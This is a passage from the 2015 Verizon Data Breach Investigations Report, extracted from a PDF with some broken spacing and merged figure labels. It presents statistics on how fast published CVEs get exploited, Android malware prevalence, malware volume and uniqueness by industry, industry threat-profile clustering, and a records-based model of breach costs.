CVE−2002−1054 CVE−2002−1931 CVE−2002−1932 TOP 10 CVE/s.smcp EXPLOITEDPERCENTAGE OF EXPLOITED CVE/s.smcpFigure 11. Cumulative percentage of exploited vulnerabilities by top 10 CVEsAbout half of the CVEs exploited in 2014 went from publish to pwn in less than a month. 0%20%40%60%80%100% 0 4 8 12 16 20 24 28 32 36 40 44 48 WEEK EXPLOIT OCCURRED AFTER CVE PUBLISH DATEPERCENTAGE OF CVE /s.smcp EXPLOITED Figure 12. Cumulative percentage of exploited vulnerabilities by week(s) from CVE publish dates 2015 DATA BREACH INVESTIGATIONS REPORT 17None of the exploitability factors appear much different across the groups; it seems that just about all CVEs have a network access vector and require no authentication, so those won’t be good predictors. The impact factors get interesting; the proportion of CVEs with a “complete” rating for C- i-A13 rises rather dramatically as we move from all CVEs to quickly exploited CVEs. The base score is really just a composite of the other two factors, but it’s still worth noting that most of those exploited within a month post a score of nine or ten. We performed some statistical significance tests and found some extremely low p-values, signifying that those differences are meaningful rather than random variation. Even so, we agree with R iSK i /O’s finding that a CVE being added to Metasploit is probably the single most reliable predictor of exploitation in the wild.14 Outside the CVSS score, there is one other attribute of a “critical” vulnerability to bring up, and this is a purely subjective observation. i f a vulnerability gets a cool name in the media, it probably falls into this “critical vulnerability” label.15 As an example, in 2014, Heartbleed, POODLE, Schannel, and Sandworm were all observed being exploited within a month of CVE publication date. in closing, we want to restate that the lesson here isn’t “Which of these should i patch?” Figure 13 demonstrates the need for all those stinking patches on all your stinking systems. The real decision is whether a given vulnerability should be patched more quickly than your normal cycle or if it can just be pushed with the rest. We hope this section provides some support for that decision, as well as some encouragement for more data sharing and more analysis. 13 As all good C iSSPs know, that’s Confidentiality, i ntegrity, and Availability. 14 risk.io/resources/fix-what-matters-presentation 15 As this section was penned, the “Freak” vulnerability in SSL/TLS was disclosed. freakattack.comFigure 13. CVSS attributes across classes of CVEsEXPLOITABILITY IMPACT CVSS BASE SCORE 50%100% 50%100% 50%100%ALL CVE s (n= 67 ,567)Local Adjacent Network Low Medium High None Single Multiple Complete Partial None Complete Partial None Complete Partial None 1 2 3 4 5 6 789 10JUST EXPLOITED ( n=792) CRITICAL ( exploited within one month of publication ; n=24)Access Vector Access Complexity Authentication Confidentiality Integrity AvailabilityNUMBER OF CVEsA CVE being added to Metasploit is probably the single most reliable predictor of exploitation in the wild. 18 VERIZON ENTERPRISE SOLUTIONSThe dearth of stats and trends around mobile devices in the DBIR has been a rather obvious void for years. It’s kinda high on the list of expectations when a company named Verizon publishes a threat report, which leads to many “But what about mobility?” questions during any post-presentation Q&A. But the DBIR has its roots in forensic breach investigations, and mobile breaches have been few and far between over the years. Adding dozens of new contributors didn’t change that, and we’ve come to the same data-driven conclusion year after year: Mobile devices are not a preferred vector in data breaches. This year, however, we set our minds to analyzing the mobile space, come cell or high water. Before we get too far, let’s just get this out of the way now— Android™ wins .16 Not just wins, but Android wins so hard that most of the suspicious activity logged from iOS devices was just failed Android exploits. So while we’d love to compare and contrast iOS to Android, the data is forcibly limiting the discussion to the latter. Also, the malicious activity recorded on Android is centered on malware, and most of that malware is ad noyance -ware and similar resource-wasting infections. We chopped, sliced, and flipped the data more times than a hibachi chef, since we didn’t want to simply share a count of overall malware infections and enumerate vulnerabilities. There is already good research in this area, and we didn’t think we could add much more. However, we did have one big question when it comes to the security of mobile devices: How big of a problem is it? i t’s difficult to attend a conference or see some top-whatever list without “mobile” showing up, yet it’s not a theme in our primary corpus, or any of our partners’ exploit data. 16 in that it’s the most vulnerable platform; kinda like winning a free tax audit.MOBILE I Got 99 Problems and Mobile Malware Isn’t Even 1% of Them Figure 14. Count of all detected mobile malware infections020,00040,00060,000 JUL AUG SEP OCT NOV DEC JAN BY WEEK, 2014NUMBER OF UNIQUE DEVICESOur data-driven conclusion: Mobile devices are not a preferred vector in data breaches. 2015 DATA BREACH INVESTIGATIONS REPORT 19To finally try to get an answer, we took our big question to our brethren over at Verizon Wireless in hopes of getting data to supply an answer. They came through with a lot of data. With our first pass through the data, we found hundreds of thousands of (Android) malware infections, most fitting squarely in the adnoyance-ware category. i n our second through eighteenth passes, we turned the data inside out but ended up just coming back to the malware. Finally, we stripped away the “low- grade” malware and found that the count of compromised devices was truly negligible. The benefit of working with an internal team is that we knew how many devices were being monitored. An average of 0.03% of smartphones per week—out of tens of millions of mobile devices on the Verizon network—were infected with “higher-grade” malicious code. This is an even tinier fraction than the overall 0.68% infection rate reported 17 For more information, please visit: fireeye.com/WEB-2015RPTMobileThreatAssessment.html 18 FireEye has counted 1,400 EnPublic apps in the wild to date, but that number is growing every week.A BIRD’S “FIREEYE” VIEW OF MOBILE MALICIOUSNESS We asked one of our contributors—FireEye—to give us its view of the vulnerabilities it catches in various mobile platforms and applications. FireEye noted that two main platforms dominate the mobile market today: Google’s Android and Apple’s iOS. FireEye researchers analyzed more than 7 million mobile apps on both platforms from January to October 2014. 17 ANDROID • 96% of mobile malware was targeted at the Android platform (which tracks well with our active malware findings in this report). • More than 5 billion downloaded Android apps are vulnerable to remote attacks. One significant vulnerability is known as JavaScript-Binding-Over-HTTP (JBOH), which enables an attacker to execute code remotely on Android devices that have affected apps. IOS EnPublic apps bypass Apple’s strict review process by hijacking a process normally used to install custom enterprise apps and used for beta testing. We also found that 80% of EnPublic apps 18 invoke risky private AP is that are also in violation of Apple’s Developer guidelines. i n the wrong hands, these AP is threaten user privacy and introduce many vulnerabilities. ADWARE Adware is software that delivers ads to make money. While adware is not in itself harmful, it often aggressively collects personal information from the mobile device it’s installed on, including name, birth date, location, serial number, contacts, and browser bookmarks. Often, this data is collected without users’ consent. i n our review, we examined ad libraries in Android apps. Adware is an increasingly popular option for app publishers, growing from almost 300,000 apps in 2013 to more than 410,000 in the first three quarters of 2014 alone. Figure 15. Count of non-adnoyance mobile malware infections 0.03% OUT OF TENS OF MILLIONS OF MOBILE DEVICES, THE NUMBER OF ONES INFECTED WITH TRUL Y MALICIOUS EXPLOITS WAS NEGLIGIBLE.050100150 JUL AUG SEP OCT NOV DEC JAN BY WEEK, 2014NUMBER OF UNIQUE DEVICES 20 VERIZON ENTERPRISE SOLUTIONSin the Alcatel-Lucent’s Motive Security Labs’ biannual report.19 We should note that their data, which is derived from the detection of malware command-and-control traffic in the mobile network, includes Windows systems tethered to wireless devices and does not include apps from Google Play™ that include adware. Even with those differences, Android makes up half of that percentage and is still much larger than the 0.03% noted from our findings. MOBILE ENIM CONFIDUNT IN (ALIQUANTO)20 Mobile devices are not a theme in our breach data, nor are they a theme in our partners’ breach and security data. We feel safe saying that while a major carrier is looking for and monitoring the security of mobile devices on its network, data breaches involving mobile devices should not be in any top-whatever list. This report is filled with thousands of stories of data loss—as it has been for years—and rarely do those stories include a smartphone. We are not saying that we can ignore mobile devices—far from it. Mobile devices have clearly demonstrated their ability to be vulnerable. What we are saying is that we know the threat actors are already using a variety of other methods to break into our systems, and we should prioritize our resources to focus on the methods that they’re using now. When it comes to mobile devices on your network, the best advice we have is to strive first for visibility and second for control. Visibility enables awareness, which will come in handy when the current landscape starts to shift. Control should put you into a position to react quickly. 19 alcatel-lucent.com/solutions/malware-reports 20 “in Mobile We Trust (Somewhat)”THAT NEW MALWARE SMELL A quick look at the types of malware being used shows they are overwhelmingly opportunistic and relatively short-lived. Even though we looked at data over just a six-month period, 95% of the malware types showed up for less than a month, while four out of five didn’t last beyond a week. This could be from the malware piggybacking on the short-lived popularity of legit games and apps, or perhaps it’s a direct reflection of the great job we’re doing in the security industry shutting down malicious behavior…or perhaps just the first one. 95% OF MALWARE TYPES SHOWED UP FOR LESS THAN A MONTH, AND FOUR OUT OF FIVE DIDN’T LAST BEYOND A WEEK. 0%10%20%30%40% 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 DAYS OBSERVED OVER 6 MONTHSPERCENTAGE OF MALWARE Figure 16. Short-lived malware: Percentage of malware by days observed over six-month period 2015 DATA BREACH INVESTIGATIONS REPORT 21Malware. Malware is what bwings us together today. This year, data from FireEye, Palo Alto Networks, Lastline, and Fortinet gave us a unique opportunity to peer into the malevolent machinations of criminals across nearly 10,000 organizations—large and small—in every industry vertical over the course of calendar year 2014.21 In previous years, we were only able to show how malware contributed to confirmed security incidents. This year, we drank straight from the fire hose of breaches that might have been. Staring into this malicious abyss renewed our admiration and respect for those responsible for defending their organizations, and we hope our overview of the volume, velocity, and variation of malware will first inform and then inspire you to take your security operations crew out for a round of drinks. FAST AND FURIOUS? THINK AGAIN Before we get down into the weeds, we’ll give you a number to discuss around the water cooler: Looking at just the total number of malware events (around 170 million) across all organizations, we can perform some egregiously simple math to determine that five malware events occur every second .22 As we said, that’s simple math, and arriving at the actual malware threat-event frequency for any given organization is nowhere near as cut-and-dried. To get a more precise handle on this, we looked at the likelihood of an organization having a malware event on any given day. i t may be difficult to believe, but not every organization experiences one of those every day.23 Our analyses of the data showed that half the organizations experienced 35 or fewer days of caught malware events during an entire calendar year. Keep in mind, by the time it hits appliances, controls like firewalls, intrusion detection systems ( iDS)/intrusion prevention systems ( iPS), spam filters, etc., will have already reduced the raw stream of malware. Speaking of these controls, when malware events are seen and caught by them, it’s more likely to be dozens (or fewer) than hundreds or thousands. Half of organizations discovered malware events during 35 or fewer days in 2014. Virtually every distribution we generated during our malware analysis was long-tailed. One thing that means is that while the frequencies we’ve stated are true, they are still not the whole story. For example, Figure 17 shows the weekly average number of malware events for five industries: Financial Services, i nsurance, Retail, Utilities, and Education. There are noticeable spikes and lulls across each of these industries. The low average numbers for Financial Services could mean that that industry is better at filtering out phishing e-mails before they arrive at the malware protection appliances, or is attacked with malware that’s harder 21 One caveat we need to clear up at the start is that this is all analysis on caught malware, whether said snaring is performed through signatures, heuristics, or sandbox evaluation. The “Outside Looking i n” sidebar in this section gives some insight into what gets through. 22 Nowhere near as impressive a number as the fact that every second, 75 McDonald’s burgers are consumed (globally) and 5,000 tweets are posted. Kinda makes you want to grab a salad and ditch social media. 23 Remember, we’re dealing with malware caught by appliances usually placed at the perimeter. We did not have insight into the efficacy of the placement of these devices.MALWARE Volume, Velocity, and Variation Figure 17. Count of malware events across industry verticalsFigure 17 shows the weekly average number of malware events for five industries: Financial Services, Insurance, Retail, Utilities, and Education. 2,5005,0007,50010,00002,5005,0007,50010,000AVERAGE MALWAREEVENTS: 350FINANCIAL SERVICES JAN APR JUL OCT JAN JAN APR JUL OCT JANINSURANCE AVERAGEMALWAREEVENTS: 575# MALWARE EVENTS (/WEEK) # MALWARE EVENTS (/WEEK) 0 22 VERIZON ENTERPRISE SOLUTIONSto detect. i n contrast, the prolific amount of malware hitting education institutions could be the byproduct of less-strict policies and controls, or a sign that Education users are easy pickings for high-volume opportunistic threats. One other thing it means is that just because you haven’t seen similar spikes doesn’t mean you won’t. Make sure incident response plans include measures to handle a malware flood as well as a trickle. The takeaway here is that while we’ve provided a baseline view of malware threat-event frequency, you should be capturing this data in your own environment, using it to understand how this overview compares to your own organization, and analyzing how your organization’s own view changes over time. YOU’RE ABSOLUTEL Y UNIQUE—JUST LIKE EVERYONE ELSE With volume and velocity out of the way, it’s time to turn our attention to the amount of variation (or uniqueness) across malware picked up by our contributors. Consistent with some other recent vendor reports, we found that 70 to 90% (depending on the source and organization) of malware samples are unique to a single organization. We use “unique” here from a signature/hash perspective; when compared byte-to-byte with all other known malware, there’s no exact match. That’s not to say that what the malware does is also distinct. Criminals haven’t been blind to the signature- and hash-matching techniques used by anti- virus (AV) products to detect malware. i n response, they use many techniques that introduce simple modifications into the code so that the hash is unique, yet it exhibits the same desired behavior. The result is often millions of “different” samples of the “same” malicious program. This is more than just the malware analyst form of omphaloskepsis (look it up). i t has real-world consequences, which basically boil down to “AV is dead.” Except it’s not really. Various forms of AV, from gateway to host, are still alive and quarantining nasty stuff every day. “Signatures alone are dead” is a much more appropriate mantra that reinforces the need for smarter and adaptive approaches to combating today’s highly varied malware. There’s another lesson here worth stating: Receiving a never-before-seen piece of malware doesn’t mean it was an “advanced” or “targeted” attack. i t’s kinda cool to think they handcrafted a highly custom program just for you, but it’s just not true. Get over it and get ready for it. Special snowflakes fall on every backyard. 24 The 2005 analyses mostly came from data in the WildList, an effort started by Joe Wells and Sarah Gordon to maintain a list of malicious binaries that are active “in the field” for use by researchers and defenders. i f that wave of nostalgia hit you as hard as it did us, you may be surprised and pleased to learn that the project is still active: wildlist.org/CurrentList.txt . 25 Where the actual family name could be discerned. Attribution is further made difficult due to the nonstandard signature naming conventions between vendors and the fact that some vendors, like FireEye, are able to catch malicious code behaviorally but are not always able to classify it precisely. Perhaps y’all could at least standardize on/a.SEParator and field-order pattern before next year’s report?TAKE A WALK ON THE WILDLIST24 We managed to borrow a Wayback machine to take a trip to 4 BD (before DB iR) to pluck some research wisdom from one of our elder researchers. Specifically, we wanted to compare one of his findings from yesteryear against the current malware climate to see how much (or little) has changed. The observation was that back in 2005, “just seven families represented about 70% of all malcode activity.” (For those interested, those were Mytob, Netsky, Zafi, Sober, Lovgate, Mydoom, and Bagle.) Fast-forward to 2014, and our analysis of the data from our network malware defense partners suggests that should be updated to read, “20 families represented about 70% of all malware activity.”25 (Today’s “sinister seven” are zbot, rerdom, zeroaccess, andromeda, expiro, asprox, gamaru, and sality.) The key differences between the malcode of 2005 and malware of 2014 are that the older viruses were noisy e-mail worms with varying backdoor capabilities, whereas the common components of the 2014 “top seven” involve stealthy command-and-control botnet membership, credential theft, and some form of fraud (clickfraud or bitcoin mining). Alas, those were simpler times back in 2005. 70–90% OF MALWARE SAMPLES ARE UNIQUE TO AN ORGANIZATION.2,5005,0007,50010,000 # MALWARE EVENTS (/WEEK) 02,5005,0007,50010,0002,5005,0007,50010,000 # MALWARE EVENTS (/WEEK) # MALWARE EVENTS (/WEEK)0 0RETAIL AVERAGE MALWAREEVENTS: 801 UTILITIES AVERAGEMALWAREEVENTS: 772 EDUCATION AVERAGEMALWAREEVENTS: 2,332JAN APR JUL OCT JAN JAN APR JUL OCT JAN JAN APR JUL OCT JAN 2015 DATA BREACH INVESTIGATIONS REPORT 23OUTSIDE LOOKING IN This “Before and Beyond the Breach” section paints a picture of the volume, velocity, and variation of malware by looking at the problem from within organizations . Thanks to a new DB iR participant—BitSight—we can also take a look at the view from the outside . BitSight uses publicly accessible indicators of compromise to create a rating that measures the “security hygiene” of an organization. 26 Specifically, we combed through BitSight’s botnet index (which is one component of the overall BitSight rating) to get a feel for how frequently organizations are seen communicating with malicious nodes. An organization’s BitSight rating (and the components that make up that rating) will take a hit each time BitSight’s monitoring infrastructure sees a beacon attempt from the i P space allocated to the company. We took the average number of botnet triggers in 2014 (for each company), then built a distribution across all organizations within an industry and compared those distributions across all industries. Figure 18 27 shows a stark contrast between five industries we’ve highlighted, which should be familiar from elsewhere in this section: Financial Services, i nsurance, Retail, Utilities, and Education. (NOTE: BitSight refers to the time of first trigger to the time the beaconing stops as “Time to Fix” vs. “Beacon Days.”) Financial institutions are not immune to successful malware deployments, but most of them have relatively few (and other analyses of the BitSight data show that financial institutions detect and generally clean up infections pretty quickly). This compares nicely with threat-event data in Figure 18. insurance and Retail organizations begin to show more diversity—hence, more infections—with the situation getting worse as we move to Utilities. Ultimately, the “leader” in near-pervasive infections across the majority of underlying organizations is Education. This should come as no surprise, given the regular influx of unmanaged devices as hordes of innocent youth invade our halls of higher learning. Toga! Toga! 26 Read the BitSight i nsights reports for more information on their methodology: bitsighttech.com/resources/topic/bitsight-insights 27 Note the log scale on the x-axis and free scales on the y-axis.0.000.250.500.751.001.25FINANCIAL SERVICES 1 3 7 20 55INSURANCE 1 3 7 20 55RETAIL 1 3 7 20 55UTILITIES 1 3 7 20 55EDUCATION 1 3 7 20 55 “TIME TO FIX” WITHIN INDUSTRY ORGANIZATIONSDENSITY Figure 18. Distribution of “Time to Fix” by industry vertical 24 VERIZON ENTERPRISE SOLUTIONSFigure 19 from the 2014 DBIR presented the frequency of incident patterns across the various industry verticals. The major takeaway was that different industries exhibit substantially different threat profiles and therefore cannot possibly have the same remediation priorities. That may be a rather “no duh” finding, but keep in mind most security standards treat all requirements as equal stepping stones on a path to 100% compliance. Past reports have emphasized that with security, there is no “one size fits all” approach. It is our fervent hope that that data sowed some seeds of change, and this year we’d like to help grow that crop a bit more. Whereas last year’s report asked “ Do all organizations share similar threat profiles?”, we now want to explore what we believe to be a much better question: “Which industries exhibit similar threat profiles?” Just as our nine patterns helped to simplify a complex issue last year, we believe that answering this question can help clarify the “so what?” question for different verticals. Figure 19 measures and provides, at least in part, the answer to that question. 28 28 To look up the three-digit NA iCS codes, visit: census.gov/eos/www/naics/index.htmlINDUSTRY PROFILES Raising the Stakes with Some Takes on NAICS With security, there is no “one size fits all” approach. 211 213221 311315 324325333334 335336 339 423424441 443444445 446 447 448 451452453454 481483 485486 491511512 515517518 519 521522 523 524525531 532541 551561 611 621 622623624711713721722 812813814 921922 923 926928¬ Accommodation ¬ Administrative ¬ Educational ¬ Entertainment ¬ Financial Services ¬ Healthcare ¬ Information ¬ Management ¬ Manufacturing ¬ Mining ¬ Other Services ¬ Professional ¬ Public ¬ Real Estate ¬ Retail ¬ Trade ¬ Transportation ¬ Utilities Figure 19. Clustering on breach data across industries 2015 DATA BREACH INVESTIGATIONS REPORT 25Although we realize that at first glance it may look like a drunken astronomer’s attempt at describing a faraway galaxy, once correctly deciphered, Figure 19 is actually a godsend of interesting observations. So, to provide you with the much-needed Rosetta Stone: Each dot represents an industry “subsector” (we chose to use the three-digit NA iCS codes—rather than the first two only—to illustrate more specificity in industry groupings). The size of the dot relates to the number of incidents recorded for that subsector over the last three years (larger = more). The distance between the dots shows how incidents in one subsector compare to that of another. i f dots are close together, it means incidents in those subsectors share similar VER iS characteristics such as threat actors, actions, compromised assets, etc. i f far away, it means the opposite. i n other words, subsectors with similar threat profiles appear closer together. i s that clear as mud now? Good! With that out of the way, let’s see what method we can draw from the madness. SOME OF THESE THINGS ARE NOT LIKE THE OTHERS Some of these things just don’t belong. Can you tell which things are not like the others before we finish this section? As you can see, most subsectors appear to be more or less playing along, but several others are busy doing their own thing. Put another way, some subsectors experience very different threats than those faced by the majority. That’s interesting on two different levels: • One, it’s a bit surprising that we see any semblance of “a majority” at all. However, this has more to do with the wide panorama necessitated by the fringe minority. Zooming in enough to exclude the outlier subsectors shows a much more even spread. • Two, it begs the question, “What is it about these fringe subsectors that makes their threat profiles so extraordinary?” A closer look at the three most distant outliers—pipeline transportation (486), oil and gas extraction (211), and support activities for mining (213)— reveals a very interesting connection: Namely, they form part of the energy supply chain. IT’S MORE OF A FONDUE THAN A SALAD The U.S. is traditionally described as a homogenous “melting pot” of cultures, but some suggest it’s more like a salad bowl where individual cultures mix together while retaining their own unique aspects. i t’s interesting to apply this motif to Figure 19. There are a few closely grouped subsectors (e.g., the 44x retailers on the upper side of the main pack), but by and large, the colors/numbers intermingle in melting-pot fashion. And that’s a rather important discovery. i t means that many subsectors in different industries actually share a closer threat profile than do subsectors in the same overall industry. Many subsectors in different industries actually share a closer threat profile than do subsectors in the same overall industry. For instance, see the bottom of the figure where Monetary Authorities-Central Bank from the financial and insurance industry (521) falls between two subsectors in the manufacturing industry (32x). i n other words, each of the manufacturing subsectors have more in common with central banks than they do with each other. You know, sort of like how the majority of us have more in common with our friends than we do with our families. I CAN’T BELIEVE THOSE TWO ARE DATING Similar to but separate from observation two is that some subsector neighbors seem as though they were bad matches on Tinder. For instance, why are general merchandise stores (452) right on top of data processing, hosting, and related services (518)? i f i had a dollar for every time someone said, “ i bet this data center sees the same attacks as my local mall,” i ’d still be broke. There’s been some dirty laundry aired about athletes of late, but spectator sports (711) and laundry services (812)? Seriously? Also, what’s the deal with executive, legislative, and other general government support (921) overlapping with amusement, gambling, and recreation industries (713)? Wait—never mind; don’t answer that. The fact that these “close cousins” may seem like strange bedfellows highlights the need for more thoughtful and thorough research into risk profiles across various types of organizations. Maybe Incidents in many industry subsectors share similar VERIS characteristics such as threat actors, actions, compromised assets, etc. 26 VERIZON ENTERPRISE SOLUTIONSwe don’t understand the motives of our adversaries as well as we think we do. Maybe cyber risk has more to do with business models or organizational structure or company policies than which high-level industry category one falls under. We definitely have some more work to do to peel back the covers on this topic. WE NEED MORE CROSS-SECTOR SHARING. HOW COME EVERYBODY WANNA KEEP IT LIKE THE KAISER? Likewise, information sharing, compliance, and regulatory standards imposed on an industry level may not be the best approach. Perhaps regulating common “risk activities” is the better route (e.g., how the Payment Card i ndustry Data Security Standard applies to all those who process, store, or transfer payments rather than any one particular industry). Maybe it’s some other way/means/criterion we haven’t thought of yet. But it’s clear that before we begin creating and enforcing a bunch of “cyber regulations” in the wake of the “cyber craziness” that was 2014, we need to better understand the true effects and efficacies of such actions. It follows that our standard practice of organizing information-sharing groups and activities according to broad industries is less than optimal. It might even be counterproductive. Given the above, it follows that our standard practice of organizing information-sharing groups and activities according to broad industries is less than optimal. i t might even be counterproductive. i s this a case where our biases and faulty assumptions are blinding us? (Say it ain’t so!) With all the focus, innovation, and regulation around cyber-info/intel sharing these days, this is something we really need to consider and investigate further.Information sharing, compliance, and regulatory standards imposed on an industry level may not be the best approach. 2015 DATA BREACH INVESTIGATIONS REPORT 27if we had $201 for every time someone asked us, “Do you have data on the cost of breaches?”, we’d have $128,037 .29 For the past seven years, we’ve had to answer that question with an apologetic “No,” while doing our best to explain why.30 But not this time; we’re absolutely ecstatic to offer an anticipatory “Yes!” to that question in this long-overdue section. i t took us eight years to get here, but “better eight than never,” right? That we always get the impact question is completely understandable. When budgeting and operating an i nfoSec program, accurately assessing what’s likely to happen and how much it’ll cost are both critically important. A lack of reliable estimates leads to a creative environment for decision making, 31 where underspending, overspending, and useless spending invariably result. Regrettably, there is a large and glaring gap in the security industry when it comes to quantifying losses. To fill that gap, organizations typically use qualitative methods of rating loss or something like the cost-per-record estimate promoted in the 2014 Cost of Data Breach Study from surveys conducted by the Ponemon i nstitute. 29 Assuming that’s the average cost per question. 30 Short answer: Our forensic investigators aren’t paid to quantify losses and none of the other DB iR contributors has ever provided loss data outside of payment card fraud totals. 31 Calibrated magic risk-ball says: “Buy DLP.”IMPACT In the Beginning, There Was Record Count Figure 20. Cost per record by records lost (n=191)Our approach to estimating loss is based on actual data and considers multiple contributing factors—not just number of records. 0.010.101101001k10k100k 10 100 1k 10k 100k 1m 10m 100m RECORDS LOSTCOST PER RECORD (US$) 28 VERIZON ENTERPRISE SOLUTIONSin this section, we seek to build an alternative—and more accurate—approach to estimating loss that is based on actual data and considers multiple contributing factors (not just number of records). This is made possible through a new DB iR contributor, NetDiligence, which partners with cyber-insurance carriers to aggregate data on cyber liability insurance claims and produces its own annual Cyber Liability & Data Breach Insurance Claims study. From the data provided, we extracted 191 insurance claims with loss of payment cards, personal information, and personal medical records, as well as sufficient detail to challenge a few existing theories and test some new ones. 58 CENTS: GET FIT OR DIE TRYIN’ The established cost-per-record amount for data breaches comes from dividing a sum of all loss estimates by total records lost. That formula estimates a cost of $201 per record in 2014 32 and $188 the year before.33 Aside from the inherent “flaw of averages,”34 the cost-per-record model is often used by organizations in ways that were unintended by the authors (who recommend not applying the model to breaches exceeding 100,000 records). This approach has the advantage of being simple to calculate, remember, and apply. But is estimating impact a simple task, and does an average cost-per-record model accurately fit real-world loss data? Let’s investigate that further. if we apply the average cost-per-record approach to the loss claims data, we get a rather surprising amount: $0.58. You read that right—the average cost of a data breach is 58 cents per record! That’s a far cry from the roughly $200 figure we’re familiar with. What’s going on here? Part of the issue is the exclusion of breaches over 100,000 records in the existing model combined with the inclusion of soft costs that don’t show up in the insurance claims data. The other part of that answer is supplied by Figure 21, which plots records lost vs. cost per record (on a log scale). The smaller breaches toward the left in Figure 21 average out to more (often a lot more) per- record costs than the larger breaches. Toward the extreme right end of the scale (100M), the cost per record can drop down to just a penny or two. Also, don’t let what looks to be a nice and even spread deceive the eyes into seeing a linear relationship; the fact that this is on a log scale 35 is a very good indication that the records-to-cost relationship is not linear. 32 Ponemon, Larry. 2014 Cost of Data Breach Study: Global Analysis. Ponemon i nstitute sponsored by i BM Corporation. Retrieved February 2015 (2014). 33 Ponemon, Larry. 2013 Cost of Data Breach Study: United States. Ponemon i nstitute sponsored by Symantec. Retrieved February 2015 (2014). 34 Savage, Sam L. The Flaw of Averages: Why We Underestimate Risk in the Face of Uncertainty. John Wiley & Sons, 2009. 35 Log scales increase by an order of magnitude. i n this section, each mark on the axes is 10 times the previous mark. Plotting on a log scale is a common technique for presenting data that, for instance, exhibits exponential growth or decline.Figure 21. Total claim amount by records lost (n=191)58¢ AVERAGE COST PER RECORD WAS 58¢, HOWEVER THIS IS A VERY POOR ESTIMATE OF LOSS, SO WE BUILT A BETTER MODEL. 101001k10k100k1m10m100m 10 100 1k 10k 100k 1m 10m 100m RECORDS LOSTPAYOUT (US$)¬ Our average cost per record of 58¢ ¬ Ponemon’s 2014 cost per record of $201 (up to 100k records) ¬ Our estimate using our improved model 2015 DATA BREACH INVESTIGATIONS REPORT 29Sure enough, another log-scale plot of records lost to total cost in Figure 22 (not per-record cost as in Figure 21) shows a rather clear relationship. For funsies, we threw a red line onto Figure 21 for the $0.58-per-record model derived from this data, a green line for the $201 per record put forth by Ponemon, and a blue line that represents a log-log regression model36 that achieved the best fit to the data. i t’s apparent that the green and red models will vastly underestimate smaller breaches and overestimate the megabreaches. NetDiligence captured our sentiments about such an approach perfectly when it said, “ insurers should not feel comfortable estimating potential losses using any standard cost-per-record figure,” and we couldn’t agree more. Both the $0.58 and $201 cost-per-record models (red and green lines) create very poor estimators, while the log-log model (blue) follows the nonlinear behavior of the data. RECORDS TELL ONL Y HALF THE STORY Developing a “better” model is one thing, but the real question is whether it’s a good model. Who wants a weak model that spits out a number that is all but guaranteed to be wrong? For that, you can just use a pair of D20 risk dice. There are two main aspects to the goodness of a model: 1) how well it fits the data, and 2) how precise its predictions will be. Stats nerds measure the first aspect using the coefficient of determination (or R 2), which calculates the percentage of stuff going on in this data (or variance for the initiated) that is explained by the model. A low R2 tells us there’s a lot happening that the model isn’t capturing, while a high R2 indicates a good fit. The R2 value of our better model (the teal line in Figure 22) is 0.537, meaning it only describes about half of the total variance in the data. Said differently, there’s a lot of stuff contributing to the cost of breaches besides the number of records lost. Said even differently-er, records tell us only half the story when it comes to impact. Unfortunately, our buddy R2 can’t tell us exactly what those secret factors are. Perhaps having a robust incident-response plan helps, or keeping lawyers on retainer, or prenegotiated contracts for customer notification and credit monitoring, or perhaps reading the DB iR religiously would help. All we can do is speculate, because whatever it is, we just know it isn’t in the claims data (though our money is on DB iR reading). The forecast average loss for a breach of 1,000 records is between $52,000 and $87 ,000. Since our glass of model strength is only half full, the precision of the model will suffer a bit. This means we need broad ranges to express our confidence in the output. On top of that, our uncertainty increases exponentially as the breach gets larger. For example, with the new model, the average loss for a breach of 1,000 records is forecast to be between $52,000 and $87,000, with 95% confidence. Compare that to a breach affecting 10 million records where the average loss is forecasted to be between $2.1 million and $5.2 million (note that these are average losses, 36 Look for more details behind this model in the coming year.Figure 22. Expected average loss by records lostOur new breach-cost model accounts for the uncertainty as record volume increases. 05,000,00010,000,00015,000,000 10m 50m 100m NUMBER OF RECORDSEXPECTED LOSS (US$)SHADED REGION REPRESENTS THE ESTIMATED AVERAGE LOSS WITH 95% CONFIDENCE 30 VERIZON ENTERPRISE SOLUTIONSnot single-event losses; see below). Figure 22 gives a visual representation of the model and accuracy. The teal line is the single-point estimate, and the shaded area is our confidence around the average loss. As the record count increases, the overall prediction accuracy decreases and the shaded confidence interval widens to account for the growing uncertainty. Say what you like about the tenets of wide-confidence intervals, dude; at least it’s an ethos. IT’S ALL ABOUT THAT BASE (NO. RECORDS) So what else matters besides the base record count when it comes to breaches? To help answer that, we converted the claims data set into VER iS format to test things like whether insiders caused more loss than outsiders and if lost devices led to higher impact than network intrusions. After countless permutations, we found many significant loss factors, but every single one of those fell away when we controlled for record count. What this means is that every technical aspect of a breach only mattered insomuch as it was associated with more or less records lost, and therefore more or less total cost. As an example, larger organizations post higher losses per breach, but further investigation reveals the simple truth that they just typically lost more records than smaller organizations, and thus had higher overall costs. Breaches with equivalent record loss had similar total costs, independent of organizational size. This theme played through every aspect of data breaches that we analyzed. i n other words, everything kept pointing to records and that technical efforts to minimize the cost of breaches should focus on preventing or minimizing compromised records. Keep in mind that we’re not saying record count is all that matters; we’ve already demonstrated that it accounts for half of the story. But it’s all that seems to matter among the data points we have at our disposal. What we’ve learned here is that while we can create a better model than cost per records, it could be improved further by collecting more and different data, rather than specifics about the breach, to make better models. LET IT GO, LET IT GO The cold (cost-per-record) figure never bothered us anyway, but we think it’s time to turn away and slam the door. To that end, we wrap up this section with a handy lookup table that includes a record count and the single-point prediction that you can use for “just give me a number” requests (the “expected column” in the middle). The rest of the columns show 95% confidence intervals, first for the average loss and then the predicted loss. The average loss should contain the mean loss (if there were multiple incidents). The predicted loss shows the (rather large) estimated range we should expect from any single event. RECORDS PREDICTION (LOWER)AVER AGE (LOWER)EXPECTED AVER AGE (UPPER)PREDICTION (UPPER) 100 $1,170 $18,120 $25,450 $35,730 $555,660 1,000 $3,110 $52,260 $ 6 7,4 8 0 $87 ,140 $1,461,730 10,000 $8,280 $143,360 $178,960 $223,400 $3,866,400 100,000 $21,900 $366,500 $474,600 $614,600 $10,283,200 1,000,000 $5 7, 6 0 0 $892,400 $1,258,670 $1,775,350 $27 ,500,090 10,000,000 $150,700 $2,125,900 $3,338,020 $5,241,300 $73,943,950 100,000,000 $392,000 $5,016,200 $8,852,540 $15,622,700 $199,895,100 The table should be easy to read. i f you’re an optimist, steer to the left. FUDmongers should veer to the right. However, looking at this table with its wide ranges, there is definitely some opportunity for improving the estimate of loss from breaches. But at least we have improved on the oversimplified cost-per-record approach, and we’ve discovered that technical efforts should focus on preventing or minimizing 